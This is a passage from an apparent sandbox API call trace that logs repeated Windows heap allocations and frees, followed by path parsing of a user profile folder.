lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.241] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.242] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.249] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.249] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1788 [0269.250] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0269.250] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1788 | out: hHeap=0x640000) returned 1 [0269.250] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0269.250] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0269.250] 